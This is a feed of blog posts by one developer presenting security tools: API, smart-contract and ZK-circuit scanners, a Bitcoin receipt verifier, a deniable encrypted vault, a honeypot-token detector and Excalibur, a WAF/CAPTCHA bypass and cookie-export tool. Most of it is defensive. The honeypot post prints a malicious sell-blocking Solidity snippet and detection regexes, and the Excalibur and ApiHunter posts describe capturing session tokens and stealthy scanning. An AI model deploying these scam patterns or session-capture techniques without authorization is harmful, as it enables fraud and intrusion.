Forem: Teycir Ben Soltane

From Screenshots to Verifiable Bitcoin Receipts

Teycir Ben Soltane — Fri, 27 Mar 2026 20:52:23 +0000

Screenshots are convenient, but they are not a strong proof of payment.

I built GhostReceipt to test a simpler idea: create a receipt that can be independently verified, without asking people to trust an image or a chat message.

What it does

GhostReceipt takes a transaction hash and creates a signed + verifiable receipt.

The flow is:

Fetch canonical transaction data from multiple providers.
Confirm consistency (consensus checks).
Sign the oracle payload with a tracked key.
Generate a proof-backed receipt that can be verified from a link/QR.

Why this approach

The goal is practical trust minimization for normal workflows:

payroll confirmation,
contractor payment confirmation,
merchant settlement evidence.

Not “perfect trustlessness,” but stronger evidence than screenshots.

Design choices

Fail closed on missing critical config.
No silent fallback on risky verification paths.
Readable errors for non-technical users.
Open-source implementation so the model can be reviewed.

Limits (important)

It does not prove legal identity or ownership intent.
It still depends on oracle/provider availability.
It is best treated as cryptographic evidence, not a legal judgment engine.

Current status

The project is live, tested across BTC/ETH/SOL paths, and still being hardened around reliability and operational safety.

If you work on payment verification or trust tooling, I’d value feedback on failure modes and threat assumptions.

Repo + docs: https://github.com/Teycir/Ghostreceipt

ApiHunter - Async API Security Scanner in Rust

Teycir Ben Soltane — Fri, 20 Mar 2026 00:04:21 +0000

🎯 ApiHunter

Async API security scanner built in Rust for baseline testing and regression detection.
https://github.com/Teycir/ApiHunter

What It Does

Scans APIs for common vulnerabilities:

CORS/CSP misconfigurations with bypass detection
GraphQL introspection + sensitive schema fields
JWT vulnerabilities (alg=none, weak secrets, expiry)
IDOR/BOLA with 3-tier testing (unauth/range/cross-user)
Secret exposure (AWS keys, tokens, credentials)
168 CVE templates with Nuclei YAML import support
Active checks (mass assignment, OAuth/OIDC, rate limits, WebSocket)

Why ApiHunter?

✅ False positive filtering - SPA detection, body validation, context-aware secrets

✅ CI/CD native - Baseline diffing, SARIF output, exit code control

✅ Production-safe - Adaptive concurrency (AIMD), rate limiting, politeness controls

✅ Stealth - UA rotation, jitter, per-host delays, no scanner fingerprints

✅ Dual extensibility - TOML templates (no code) + Rust modules (full control)

Quick Start

Install

git clone https://github.com/Teycir/ApiHunter cd ApiHunter cargo build --release

Scan

./target/release/apihunter \ --urls targets.txt \ --format ndjson \ --min-severity medium

With active checks

./target/release/apihunter \ --urls targets.txt \ --active-checks \ --auth-bearer "your-token"

A Rust-Powered Security Scanner for Ethereum Smart Contracts

Teycir Ben Soltane — Thu, 05 Mar 2026 20:48:05 +0000

Why I Built This

Smart contract vulnerabilities cost billions in losses. Tools like Slither and Mythril are excellent for static analysis, but they're fixed in their detection capabilities. I wanted something different: a tool that gets stronger over time as the community adds patterns.

That's SCPF (Smart Contract Pattern Finder).

The key difference: SCPF is extensible by design. Every new exploit, every discovered vulnerability pattern can be added as a YAML template. The more templates you have, the more powerful the scanner becomes.

What It Does

SCPF scans Ethereum smart contracts for security vulnerabilities using customizable YAML templates.

Core features:

✅ Pattern-based detection (reentrancy, delegatecall, unchecked calls)
✅ Local .sol file scanning
✅ Git diff scanning (only changed files)
✅ GitHub Actions integration with SARIF output
✅ Cascade API key system (up to 6 Etherscan keys with automatic failover)

How It Works

1️⃣ Define Patterns in YAML

id: reentrancy-basic
name: Basic Reentrancy Pattern
severity: high
patterns:
  - id: external-call-with-value
    pattern: '\.call\{value:'
    message: External call with value transfer detected

2️⃣ Scan Contracts

# Scan deployed contract
scpf scan 0x1234567890abcdef --chains ethereum

# Scan local project
scpf scan

# Scan only changed files
scpf scan --diff main..HEAD

3️⃣ Get Results

Output formats: console, JSON, or SARIF (for CI/CD).

Real-World Use Cases

🔒 Security Auditors: Automate initial vulnerability detection before manual review.

⚡ DeFi Developers: Pre-deployment checks in CI/CD pipelines.

🎯 Bug Bounty Hunters: Batch scan multiple contracts quickly.

📚 Educators: Teach common vulnerability patterns with real examples.

Technical Highlights

🦀 Built with Rust

Fast, memory-safe, and concurrent. Handles large contracts efficiently.

🔑 Cascade API Key System

Configure up to 6 Etherscan API keys. If one hits rate limits, SCPF automatically rotates to the next. Zero downtime.

export ETHERSCAN_API_KEY="key-1"
export ETHERSCAN_API_KEY_2="key-2"
# ... up to key-6

Result: 30 calls/sec instead of 5 (with 6 free Etherscan accounts).

🤖 GitHub Actions Integration

- uses: teycir/smartcontractpatternfinder@v1
  with:
    severity: high
    output-format: sarif

Findings appear directly in GitHub's Security tab.

🏗️ Modular Architecture

scpf-types: Core data structures
scpf-core: Scanning engine with semantic analysis
scpf-cli: Command-line interface
scpf-server: Optional web dashboard

Current Limitations

⚠️ Ethereum only: Currently supports Ethereum mainnet via Etherscan API. Multi-chain support (BSC, Polygon, Arbitrum) is planned but not yet implemented.

⚠️ Pattern-based detection: SCPF finds patterns you define. It's not a symbolic execution engine like Mythril. Best used as a first-pass filter before deeper analysis.

⚠️ False positives: Context-aware filtering reduces obvious false positives, but manual review is still needed.

Getting Started

Installation

git clone https://github.com/Teycir/smartcontractpatternfinder.git
cd smartcontractpatternfinder
cargo build --release

Quick Scan

scpf init
scpf scan 0xYourContractAddress --chains ethereum

CI/CD Integration

Add to .github/workflows/security.yml:

name: Security Scan
on: [push, pull_request]

jobs:
  scpf:
    runs-on: ubuntu-latest
    permissions:
      security-events: write
    steps:
      - uses: actions/checkout@v4
      - uses: teycir/smartcontractpatternfinder@v1

Roadmap

🌐 Multi-chain support: BSC, Polygon, Arbitrum, Optimism, Base
📦 Template marketplace: Community-contributed patterns
🤖 AI-assisted pattern generation: Suggest patterns from exploit reports
🧠 Enhanced semantic analysis: Reduce false positives further

Open Source & MIT Licensed

SCPF is fully open source under MIT license. Contributions welcome.

Teycir / smartcontractpatternfinder

High-performance Rust tool for detecting security vulnerabilities in smart contracts. Ethereum mainnet support with YAML-based pattern templates, CI/CD integration, and SARIF output for GitHub Security tab.

Support Development

If this project helps your work, support ongoing maintenance and new features.

ETH Donation Wallet
0x11282eE5726B3370c8B480e321b3B2aA13686582

Scan the QR code or copy the wallet address above.

Smart Contract Pattern Finder (SCPF)

🔍 High-performance tool for detecting security vulnerabilities and patterns in Ethereum smart contracts.

How it works: Define patterns in YAML templates → SCPF scans smart contracts → Finds matching patterns → Reports vulnerabilities

Tags: rust smart-contracts security scanner ethereum blockchain vulnerability-detection pattern-matching defi web3 solidity static-analysis open-source mit

📑 Table of Contents

Smart Contract Pattern Finder (SCPF)

View on GitHub

Documentation: GitHub Docs

Try It Out

If you're working with Ethereum smart contracts, give SCPF a try. It won't replace manual audits, but it can catch common issues early.

Feedback and contributions are welcome. Let's make smart contract security more accessible. 🚀

Connect with me:

🌐 Website
💻 GitHub

ZkPatternMatcher: A Practical Security Scanner for ZK Circuits

Teycir Ben Soltane — Fri, 27 Feb 2026 15:53:23 +0000

GitHub: https://github.com/Teycir/ZkPatternMatcher

The Problem

Zero-Knowledge proof circuits (like Circom) can have subtle vulnerabilities that break cryptographic soundness. A single underconstrained signal can allow proof forgery.

The Solution: Pattern Matching

I built ZkPatternMatcher - a Rust-based scanner that detects vulnerabilities using YAML-defined patterns.

Quick Example

Detect underconstrained assignments:

patterns:
  - id: underconstrained_assignment
    kind: regex
    pattern: '<--'
    message: 'Unconstrained assignment detected'
    severity: critical

Run the scanner:

zkpm patterns/vulnerabilities.yaml circuit.circom

Output:

🔴 [Critical] Unconstrained assignment operator (<--) detected
   Location: line 15, column 7

Key Features

✅ Validated - Tested against 16 real-world vulnerable circuits
✅ Easy patterns - 3-step YAML contribution process
✅ CI/CD ready - JSON output for automation
✅ Library + CLI - Use standalone or integrate into Rust projects

Usage as Library

use zk_pattern_matcher::{load_pattern_library, PatternMatcher};

let library = load_pattern_library("patterns/vulnerabilities.yaml")?;
let matcher = PatternMatcher::new(library)?;
let matches = matcher.scan_file("circuit.circom")?;

for m in matches {
    println!("{:?}: {}", m.severity, m.message);
}

CI/CD Integration

.github/workflows/security.yml
- run: cargo install zkpm --version 0.1.0
- run: zkpm --format json patterns/production.yaml circuits/

Contributing Patterns

(Super Easy!)
Copy template:

cp patterns/TEMPLATE.yaml patterns/your_pattern.yaml

Fill in vulnerability details

Test: zkpm validate patterns/your_pattern.yaml

Pattern sources:

zkBugs, audit reports, CVE databases.

Tech Stack

Rust 1.80+ (uses LazyLock for semantic analysis)
regex/fancyregex engines
serde for YAML parsing
clap for CLI

Current Status

✅ 5 baseline patterns (3 vulnerability detectors + 2 developer markers)

✅ 16 vulnerable fixtures + 10 safe controls validated

✅ 0 high/critical false positives on safe controls

Excalibur: A Manual WAF Bypass & Cookie Extractor Tool for Security Researchers

Teycir Ben Soltane — Wed, 04 Feb 2026 17:42:08 +0000

Modern web applications employ increasingly sophisticated security measures including Web Application Firewalls (WAFs), CAPTCHAs, and bot detection systems. These protections often block automated security scanners and make it difficult to test APIs behind authentication.

Introducing Excalibur — a dual-component security testing tool designed to bypass WAFs, CAPTCHAs, and other anti-bot protections through manual browser interaction.

What is Excalibur?

Excalibur consists of two integrated components:

Chrome Extension — Intercepts and records HTTP traffic while you manually solve CAPTCHAs, complete authentication flows, and navigate through protected applications.
Burp Suite Extension — Imports recorded HTTP Archive (HAR) files and extracted cookies into Burp Suite, enabling automated security testing on previously protected endpoints.

The bridge between manual browser interaction and automated security testing? That's exactly what Excalibur provides.

The Problem Excalibur Solves

As security researchers and bug hunters, we've all faced these challenges:

WAF blocks preventing automated scanning
CAPTCHAs requiring human interaction
Authentication walls blocking API exploration
Session management nightmare when working across tools

Traditional approaches involve:

Manually copying cookies (error-prone and tedious)
Disabling protections (not always possible or ethical)
Writing custom browser automation scripts (time-consuming)
Getting blocked by sophisticated bot detection

Excalibur offers a clean, efficient solution that maintains legitimate sessions through manual interaction while capturing everything needed for automated analysis.

How Excalibur Works

┌──────────────┐     ┌──────────────┐     ┌──────────────┐
│   Manual     │ →   │   Excalibur  │ →   │   Burp Suite │
│   Browser    │     │   Record &   │     │   Security   │
│  Interaction │     │    Export    │     │    Testing   │
└──────────────┘     └──────────────┘     └──────────────┘

1. Manual Browser Interaction

You browse the target application manually in Chrome, solving any CAPTCHAs or authentication challenges as a normal user would. This establishes a legitimate session that bypasses WAF protections.

2. Traffic Recording

Excalibur records all HTTP traffic during your session using Chrome's webRequest API. It captures:

Complete request/response data
All headers (including authentication tokens)
Cookies with domain and path information
Timing data for analysis

3. Export and Import

Export the recorded session as HAR and JSON files, then load them into Burp Suite for detailed security analysis, automated scanning, and manual testing.

Key Features

Chrome Extension Features

Feature	Description
▶️ Start/Stop Recording	Toggle session recording with visual feedback
📊 Real-time Counters	Live display of captured requests and cookies
📦 HAR Export	Export recorded traffic in standard HTTP Archive format
🍪 Cookie Extraction	Automatic extraction of all cookies to JSON
🎨 Modern UI	Clean, gradient-based user interface
🔄 Background Recording	Continuous recording via Chrome service worker API
🔍 DevTools Panel	Integrated panel for advanced monitoring

Burp Suite Extension Features

Feature	Description
📥 HAR File Loading	Import HAR files directly into Burp Site Map
🍪 Cookie Import	Import JSON cookies into Burp Cookie Jar
📊 Request History	Sortable table view of all imported requests
📈 Statistics Panel	Summary of requests, hosts visited, and timestamps
📝 Activity Log	Detailed timestamped log of all operations
🔄 Session Replay	Replay imported requests with captured cookies

Quick Start Guide

Installing the Chrome Extension

Open Chrome → chrome://extensions/
Enable Developer mode (top right toggle)
Click Load unpacked
Select the chrome extension/ folder from Excalibur
Pin the Excalibur icon to your toolbar

Installing the Burp Suite Extension

Open Burp Suite (Professional or Community)
Go to Extensions → Add → Python
Select burp-extension/excalibur_loader.py
Verify extension loads successfully
Navigate to the new Excalibur tab

Prerequisites

Chrome/Chromium browser
Burp Suite (Professional or Community Edition)
Jython standalone JAR (for Burp Python support)

Usage Workflow: Simple 3-Step Process

Step 1: Record in Chrome

Click the Excalibur icon in Chrome
Click ▶️ Start Recording
Navigate to your target site
Solve CAPTCHAs, complete authentication flows, browse as normal
Click ⏹️ Stop Recording

The extension displays real-time counters showing how many requests and cookies have been captured.

Step 2: Export HAR Files

Click 📦 Export HAR
Two files download automatically:
- excalibur-session-YYYYMMDD-HHMMSS.har — Complete HTTP traffic
- excalibur-session-YYYYMMDD-HHMMSS-cookies.json — All cookies

Step 3: Load in Burp Suite

Open Burp Suite → Excalibur tab
Click Load HAR File → Select your exported HAR
Click Load Cookies JSON → Select your exported cookies
View requests in Target → Site Map and History tabs

Now you have complete access to the protected application through Burp Suite!

Understanding the Output Files

HAR File (`excalibur-session-YYYYMMDD-HHMMSS.har`)

The HTTP Archive format contains:

All recorded requests and responses
Request/response headers including authentication tokens
Request and response bodies (if captured)
Timing data for performance analysis
Can be imported into Burp, OWASP ZAP, or other security tools

Cookies JSON (`excalibur-session-YYYYMMDD-HHMMSS-cookies.json`)

Contains all cookies with:

Domain and path information
Expiration dates
Secure and HttpOnly flags
Perfect for importing into Burp's Cookie Jar or other tools

Use Cases

Bug Bounty Hunting

Capture authenticated sessions to test protected endpoints
Bypass WAFs to explore hidden functionality
Export session tokens for API testing
Document complete request flows for vulnerability reports

Penetration Testing

Maintain legitimate sessions during assessments
Test APIs behind authentication without credential sharing
Document complete attack paths with full request/response data
Generate consistent test cases from recorded sessions

Security Research

Analyze WAF behavior through legitimate traffic patterns
Study CAPTCHA implementations and bypass techniques
Document security controls and testing methodologies
Create reproducible test scenarios

Technical Architecture

Excalibur leverages modern browser and security tool APIs:

┌─────────────────┐
│  Chrome Browser │
│   (User solves  │
│    CAPTCHAs)    │
└────────┬────────┘
           │ webRequest API
           ↓
┌─────────────────┐
│    Excalibur    │
│    Extension    │
│  (background.js)│
└────────┬────────┘
           │ Export HAR + JSON
           ↓
┌─────────────────┐
│   Downloads     │
│  .har + .json   │
└────────┬────────┘
           │ Manual Import
           ↓
┌─────────────────┐
│  Burp Suite     │
│  Excalibur Tab  │
│  (Python Ext.)  │
└─────────────────┘

Chrome Extension

Uses webRequest API for traffic interception
Service worker for background recording
Chrome Storage API for state management
Popup and DevTools panel for user interaction

Burp Suite Extension

IBurpExtender interface for Burp integration
Swing-based UI matching Chrome extension design
Jython support for compatibility
Message registration for request interception

Security & Ethical Considerations

⚠️ Important: Excalibur is designed for legitimate security testing only:

Only test applications you have permission to test
Use for bug bounty programs, penetration testing engagements, or your own applications
Respect rate limits and avoid excessive traffic
Document findings responsibly and disclose issues through proper channels
Follow ethical guidelines and legal requirements

Excalibur helps security professionals do their jobs more efficiently — it doesn't replace proper authorization and responsible disclosure.

What's New in v2.0?

Modernized UI with gradient-based design
Enhanced DevTools integration for better monitoring
Improved HAR export with better compatibility
Expanded Burp Suite features including session replay
Better statistics and logging for comprehensive analysis
Cross-platform support for Windows, macOS, and Linux

Getting Started

The project is open source and available on GitHub. Clone the repository, install both components, and start bypassing WAFs and capturing sessions for your security testing workflows.

Resources

⭐ GitHub Repository - Source code and documentation
📖 Full Documentation - Detailed setup and usage guide
🐛 Report Issues - Bug reports and feature requests

Conclusion

Excalibur fills a critical gap in the security researcher's toolkit by bridging manual browser interaction with automated security testing. Whether you're hunting bugs on HackerOne, conducting penetration tests, or researching WAF bypass techniques, Excalibur streamlines the workflow and lets you focus on what matters — finding vulnerabilities.

Stop spending hours manually copying cookies and constructing requests. Install Excalibur, record your session, and import it into your favorite security testing tools.

Happy hunting! 🎯

Excalibur is released under the MIT License. Built by security professionals for security professionals.

Building a Honeypot Scanner That Handles 2M Scans/Day for $0

Teycir Ben Soltane — Sat, 31 Jan 2026 22:23:07 +0000

Building a Honeypot Scanner That Handles 2M Scans/Day for $0

I built HoneypotScan to detect malicious crypto tokens that trap your funds. Here's how I architected it to handle massive scale without spending a dime on infrastructure.

The Problem: Honeypot Tokens

A honeypot token is a scam smart contract that lets you buy tokens but blocks you from selling. Scammers exploit the difference between tx.origin and msg.sender in Solidity:

// Malicious code example
function transfer(address to, uint256 amount) public returns (bool) {
    require(tx.origin == msg.sender, "No DEX sells allowed");
    // Transfer logic...
}

When you buy directly: tx.origin == msg.sender ✅

When you sell via Uniswap: tx.origin != msg.sender ❌

The transaction reverts. Your funds are trapped forever.

Architecture Overview

┌─────────────────┐
│   Next.js 16    │  Frontend (Cloudflare Pages)
│   React 19      │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ Cloudflare      │  Edge API (300+ locations)
│ Workers         │  - Input validation
└────────┬────────┘  - Pattern detection
         │           - Response caching
         ▼
┌─────────────────┐
│ Cloudflare KV   │  Global cache (24hr TTL)
└────────┬────────┘  95% hit rate
         │
         ▼
┌─────────────────┐
│ Etherscan API   │  Source code retrieval
│ (6 keys)        │  Rotation for rate limits
└─────────────────┘

Why Cloudflare Workers + KV?

1. Edge Computing = Consistent Latency

Workers run at 300+ edge locations globally. Whether you're in Tokyo or London, you get ~2 second response times. No cold starts, no regional bottlenecks.

2. KV Caching = Massive Cost Savings

Smart contracts are immutable after deployment. This means aggressive caching:

// Check cache first
const cached = await env.HONEYPOT_CACHE.get(address);
if (cached) {
  return JSON.parse(cached);
}

// Fetch from Etherscan
const sourceCode = await fetchFromEtherscan(address);

// Cache for 24 hours
await env.HONEYPOT_CACHE.put(
  address, 
  JSON.stringify(result), 
  { expirationTtl: 86400 }
);

With 95% cache hit rate:

100k Worker requests/day (free tier)
100k KV reads/day (free tier)
= 2M potential scans/day
= $0/month

3. Built-in DDoS Protection

Cloudflare's edge network handles DDoS attacks automatically. When someone tried to spam my API, I didn't even notice until I checked the logs.

Detection Algorithm

Pattern-Based Static Analysis

I use 13 regex patterns to detect honeypot techniques:

const patterns = [
  // Core ERC20 abuse
  /function\s+balanceOf[^}]*tx\.origin/,
  /function\s+allowance[^}]*tx\.origin/,
  /function\s+transfer[^}]*tx\.origin/,

  // Hidden helpers
  /function\s+_taxPayer[^}]*tx\.origin/,
  /function\s+_isSuper[^}]*tx\.origin/,

  // Auth bypasses
  /require\s*\([^)]*tx\.origin/,
  /if\s*\([^)]*tx\.origin[^)]*==|!=/,
  /assert\s*\([^)]*tx\.origin/,
  /\[tx\.origin\]/,

  // Transfer blocks
  /_isSuper\s*\(\s*recipient\s*\)/,
  /_canTransfer[^}]*return\s+false/,
  /require\s*\([^)]*_whitelisted\[.*\]\s*&&\s*_whitelisted\[/,
  /if\s*\([^)]*isPair\[.*\][^}]*\)\s*{\s*taxAmount\s*=.*\*\s*9[5-9]/
];

Confidence Scoring

const patternCount = patterns.filter(p => p.test(sourceCode)).length;

if (patternCount >= 2) {
  return { isHoneypot: true, confidence: 95 };
} else if (patternCount === 1) {
  return { isHoneypot: false, confidence: 50, warning: "Suspicious" };
} else {
  return { isHoneypot: false, confidence: 100 };
}

Why threshold = 2?

Real honeypots typically show 3-7 patterns
Legitimate contracts rarely show >1 pattern
Minimizes false positives while maintaining 98% sensitivity

Implementation Details

1. Input Validation

Proper EIP-55 checksum validation using keccak256:

import { keccak256 } from '@noble/hashes/sha3';
import { bytesToHex } from '@noble/hashes/utils';

function isValidChecksum(address: string): boolean {
  const addr = address.slice(2).toLowerCase();
  const hash = bytesToHex(keccak256(addr));

  for (let i = 0; i < 40; i++) {
    const hashChar = parseInt(hash[i], 16);
    if (hashChar >= 8 && addr[i] !== addr[i].toUpperCase()) return false;
    if (hashChar < 8 && addr[i] !== addr[i].toLowerCase()) return false;
  }
  return true;
}

2. API Key Rotation

6 Etherscan API keys with random selection to distribute load:

const API_KEYS = [
  env.ETHERSCAN_API_KEY_1,
  env.ETHERSCAN_API_KEY_2,
  env.ETHERSCAN_API_KEY_3,
  env.ETHERSCAN_API_KEY_4,
  env.ETHERSCAN_API_KEY_5,
  env.ETHERSCAN_API_KEY_6,
];

const randomKey = API_KEYS[Math.floor(Math.random() * API_KEYS.length)];

3. Request Timeout Protection

10-second timeout with AbortController:

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 10000);

try {
  const response = await fetch(url, { signal: controller.signal });
  // Process response...
} catch (error) {
  if (error.name === 'AbortError') {
    throw new Error('Request timeout');
  }
  throw error;
} finally {
  clearTimeout(timeoutId);
}

4. Code Sanitization

Remove comments and normalize whitespace before pattern matching:

function sanitizeCode(code: string): string {
  return code
    .replace(/\/\*[\s\S]*?\*\//g, '') // Block comments
    .replace(/\/\/.*/g, '')            // Line comments
    .replace(/\s+/g, ' ')              // Normalize whitespace
    .trim();
}

Security Features

CORS Whitelist

const ALLOWED_ORIGINS = [
  'https://honeypotscan.pages.dev',
  'https://www.honeypotscan.com',
  'http://localhost:3000',
];

function handleCORS(request: Request): Response | null {
  const origin = request.headers.get('Origin');
  if (origin && !ALLOWED_ORIGINS.includes(origin)) {
    return new Response('Forbidden', { status: 403 });
  }
  return null;
}

Content Security Policy

const CSP = [
  "default-src 'self'",
  "script-src 'self' 'unsafe-inline' 'unsafe-eval'",
  "style-src 'self' 'unsafe-inline'",
  "connect-src 'self' https://honeypotscan-api.teycircoder4.workers.dev",
  "frame-ancestors 'none'",
].join('; ');

response.headers.set('Content-Security-Policy', CSP);

Rate Limiting

Simple in-memory rate limiting (resets every minute):

const rateLimits = new Map<string, number>();

function checkRateLimit(ip: string): boolean {
  const count = rateLimits.get(ip) || 0;
  if (count >= 30) return false;

  rateLimits.set(ip, count + 1);
  return true;
}

Frontend Features

Share Results via URL Hash

Results encoded in URL hash (no server needed):

function shareResult(result: ScanResult) {
  const encoded = btoa(JSON.stringify(result));
  const url = `${window.location.origin}#result=${encoded}`;
  navigator.clipboard.writeText(url);
}

// On page load
const hash = window.location.hash;
if (hash.startsWith('#result=')) {
  const encoded = hash.slice(8);
  const result = JSON.parse(atob(encoded));
  displayResult(result);
}

Local Scan History

Last 10 scans stored in localStorage:

function saveToHistory(result: ScanResult) {
  const history = JSON.parse(localStorage.getItem('scanHistory') || '[]');
  history.unshift(result);
  history.splice(10); // Keep only last 10
  localStorage.setItem('scanHistory', JSON.stringify(history));
}

Export as JSON

function exportResult(result: ScanResult) {
  const data = {
    scanner: 'HoneypotScan',
    version: '1.0',
    scannedAt: new Date().toISOString(),
    result,
  };

  const blob = new Blob([JSON.stringify(data, null, 2)], {
    type: 'application/json',
  });

  const url = URL.createObjectURL(blob);
  const a = document.createElement('a');
  a.href = url;
  a.download = `honeypot-scan-${result.address}.json`;
  a.click();
}

Performance Optimizations

1. Parallel Pattern Matching

const matches = await Promise.all(
  patterns.map(async (pattern) => ({
    pattern: pattern.name,
    matched: pattern.regex.test(sourceCode),
  }))
);

2. Early Exit on Cache Hit

// Check cache before any processing
const cached = await env.HONEYPOT_CACHE.get(address);
if (cached) {
  return new Response(cached, {
    headers: { 'Content-Type': 'application/json' },
  });
}

3. Lazy Loading Components

const ScanHistory = dynamic(() => import('./ScanHistory'), {
  ssr: false,
  loading: () => <Skeleton />,
});

Deployment

Cloudflare Workers

# Install Wrangler CLI
npm install -g wrangler

# Login to Cloudflare
wrangler login

# Deploy
wrangler deploy

Environment Variables

# wrangler.toml
name = "honeypotscan-api"
main = "src/worker.ts"
compatibility_date = "2024-01-01"

[[kv_namespaces]]
binding = "HONEYPOT_CACHE"
id = "your-kv-namespace-id"

[vars]
ETHERSCAN_API_KEY_1 = "your-key-1"
ETHERSCAN_API_KEY_2 = "your-key-2"
# ... more keys

Cloudflare Pages

# Build Next.js app
npm run build

# Deploy to Pages
npx wrangler pages deploy out

Lessons Learned

What Worked Well

✅ KV caching is magic - 95% hit rate = massive cost savings

✅ Edge computing eliminates latency issues - Consistent 2s response times globally

✅ Pattern-based detection is fast - Regex matching takes <100ms

✅ Immutable contracts = aggressive caching - No cache invalidation needed

Gotchas

❌ KV eventual consistency - Writes take ~60s to propagate globally

❌ 10ms CPU limit - Had to optimize regex patterns

❌ No WebSocket support - Can't do real-time updates

❌ Cold start on first deploy - Takes ~30s for global propagation

What I'd Do Differently

Add WebAssembly for faster pattern matching
Implement machine learning for novel pattern detection
Build a feedback loop to improve patterns over time
Add support for more chains (BSC, Avalanche, etc.)

Results

2 second average response time
95% cache hit rate
$0/month infrastructure cost
2M scans/day capacity on free tier
98% sensitivity, 97% specificity

Try It Yourself

Live: honeypotscan.pages.dev

Source: github.com/Teycir/honeypotscan

The entire stack is open source. Feel free to fork, modify, or use it as a reference for your own edge computing projects.

Conclusion

Cloudflare Workers + KV is perfect for:

High read, low write workloads
Global low-latency requirements
Projects that need to start free and scale
Immutable data (aggressive caching)

For HoneypotScan, it's been the ideal architecture. Fast, free, and I haven't thought about infrastructure once since deploying.

Questions? Drop them in the comments! 👇

Sanctum: Cryptographically Deniable Vault System with IPFS Storage

Teycir Ben Soltane — Thu, 08 Jan 2026 23:03:43 +0000

🔒 Sanctum: When "I Don't Know the Password" Is Actually True

Ever heard of the $5 wrench attack? It's the oldest vulnerability in cryptography: physical coercion. Your encryption might be unbreakable, but you're not. Sanctum solves this with cryptographically sound plausible deniability.

🎭 The Problem: Encryption Isn't Enough

Traditional encrypted storage has a fatal flaw:

Attacker: "Give me the password or else."
You: "I don't have one."
Attacker: *checks encrypted file* "This is clearly encrypted. Try again."

You can't prove the absence of data. Until now.

✨ The Solution: Cryptographic Deniability

Sanctum creates three indistinguishable layers:

Decoy Layer - Innocent content (family photos, small wallet with $200)
Hidden Layer - Real secrets (whistleblower docs, main crypto wallet)
Panic Layer - Shows "vault deleted" under duress

The magic? All three are cryptographically identical. An adversary cannot prove which layer is real or if hidden layers exist.

🏗️ Architecture: Zero-Trust by Design

Client-Side Encryption Flow

// 1. User creates vault with decoy + hidden content
const decoyBlob = encrypt(decoyContent, ''); // Empty passphrase
const hiddenBlob = encrypt(hiddenContent, deriveKey(passphrase));

// 2. XOR both layers (makes them indistinguishable)
const combined = xor(decoyBlob, hiddenBlob);

// 3. Upload to IPFS
const decoyCID = await ipfs.upload(decoyBlob);
const hiddenCID = await ipfs.upload(hiddenBlob);

// 4. Split-key architecture
const keyA = randomBytes(32); // Stays in URL
const keyB = randomBytes(32); // Encrypted in database
const vaultURL = `https://sanctumvault.online/unlock/${vaultId}#${encode(keyA)}`;

Tech Stack

Frontend: Next.js 15 + React + Web Crypto API
Cryptography: XChaCha20-Poly1305 + Argon2id (256MB memory, 3 iterations)
Storage: IPFS via Pinata/Filebase (free tiers)
Database: Cloudflare D1 (split-key storage only)
Hosting: Cloudflare Pages (static site)

Security Features

// RAM-only storage (no disk persistence)
class SecureStorage {
  private keys = new Map<string, Uint8Array>();

  store(key: string, value: Uint8Array): void {
    this.keys.set(key, value);
    // Auto-clear after 5 minutes
    setTimeout(() => this.wipe(key), 300000);
  }

  wipe(key: string): void {
    const data = this.keys.get(key);
    if (data) {
      data.fill(0); // Overwrite memory
      this.keys.delete(key);
    }
  }
}

// Panic key: Double-press Escape
let escapeCount = 0;
document.addEventListener('keydown', (e) => {
  if (e.key === 'Escape') {
    escapeCount++;
    if (escapeCount === 2) {
      wipeAllKeys();
      window.location.href = '/';
    }
    setTimeout(() => escapeCount = 0, 500);
  }
});

🎯 Real-World Use Cases

1. Journalist Protecting Sources

Decoy: Published articles, public research notes
Hidden: Confidential source documents, whistleblower communications
Scenario: Device seized at border → reveal decoy, sources stay protected

2. Crypto Holder Under Duress

Decoy: Small wallet with $200 ("this is all I have")
Hidden: Main wallet with life savings
Scenario: $5 wrench attack → hand over decoy wallet, real funds stay safe

3. Activist in Authoritarian Regime

Decoy: Personal photos, innocuous social media content
Hidden: Protest coordination plans, evidence of government abuse
Scenario: Police raid → show decoy layer, cannot prove hidden content exists

🛡️ Attack Resistance

Physical Duress

Attack: Coerced to reveal passphrase

Defense: Reveal decoy passphrase. Adversary cannot prove hidden layer exists.

Disk Forensics

Attack: Device seized, disk analysis performed

Defense: RAM-only storage. Keys never written to disk. Auto-wiped on tab close.

Timing Analysis

Attack: Measure decryption time to detect layers

Defense: Randomized 500-2000ms delay on all operations.

Blob Size Analysis

Attack: Compare encrypted blob sizes

Defense: Padded to standard sizes (1KB, 10KB, 100KB, 1MB, 10MB, 25MB).

Brute Force

Attack: Try all possible passphrases

Defense: Argon2id with 256MB memory makes brute-force computationally infeasible.

🚀 Quick Start

For Users

Visit sanctumvault.online
Configure Pinata or Filebase (free IPFS providers)
Create vault with optional decoy content
Set passphrase for hidden layer
Share the link - only you know the passphrase

For Developers

# Clone repository
git clone https://github.com/Teycir/Sanctum.git
cd Sanctum

# Install dependencies
npm install

# Run development server
npm run dev

🔬 Technical Deep Dive

Why XChaCha20-Poly1305?

// AES-GCM: 96-bit nonce (collision risk after 2^48 encryptions)
// XChaCha20: 192-bit nonce (collision risk after 2^96 encryptions)

import { xchacha20poly1305 } from '@noble/ciphers/chacha';

export function encrypt(
  plaintext: Uint8Array,
  key: Uint8Array
): EncryptionResult {
  const nonce = randomBytes(24); // 192-bit nonce
  const cipher = xchacha20poly1305(key, nonce);
  const ciphertext = cipher.encrypt(plaintext);

  return {
    ciphertext,
    nonce,
    authTag: ciphertext.slice(-16) // Authenticated encryption
  };
}

Split-Key Architecture

// KeyA: Stays in URL fragment (never sent to server)
// KeyB: Encrypted in database with vault-specific key

const vaultKey = deriveKey(vaultId + salt);
const encryptedKeyB = encrypt(keyB, vaultKey);

// To decrypt IPFS CIDs:
const masterKey = xor(keyA, keyB);
const decoyCID = decrypt(encryptedDecoyCID, masterKey);
const hiddenCID = decrypt(encryptedHiddenCID, masterKey);

30-Day Grace Period

// Two-stage cleanup prevents accidental data loss
// Stage 1: Soft delete (mark inactive)
UPDATE vaults SET is_active = 0 WHERE expires_at < NOW();

// Stage 2: Hard delete (30 days later)
DELETE FROM vaults 
WHERE is_active = 0 
AND expires_at < NOW() - INTERVAL 30 DAYS;

📊 Test Coverage

npm test

# Results:
# Test Suites: 19 passed, 19 total
# Tests:       115 passed, 115 total
# Coverage:    Core crypto, duress layers, storage, vault expiry

🔐 OpSec Best Practices

Fund decoy realistically - $50-500 matching your financial status
Memorize passphrases - 12+ chars (uppercase, lowercase, number, special)
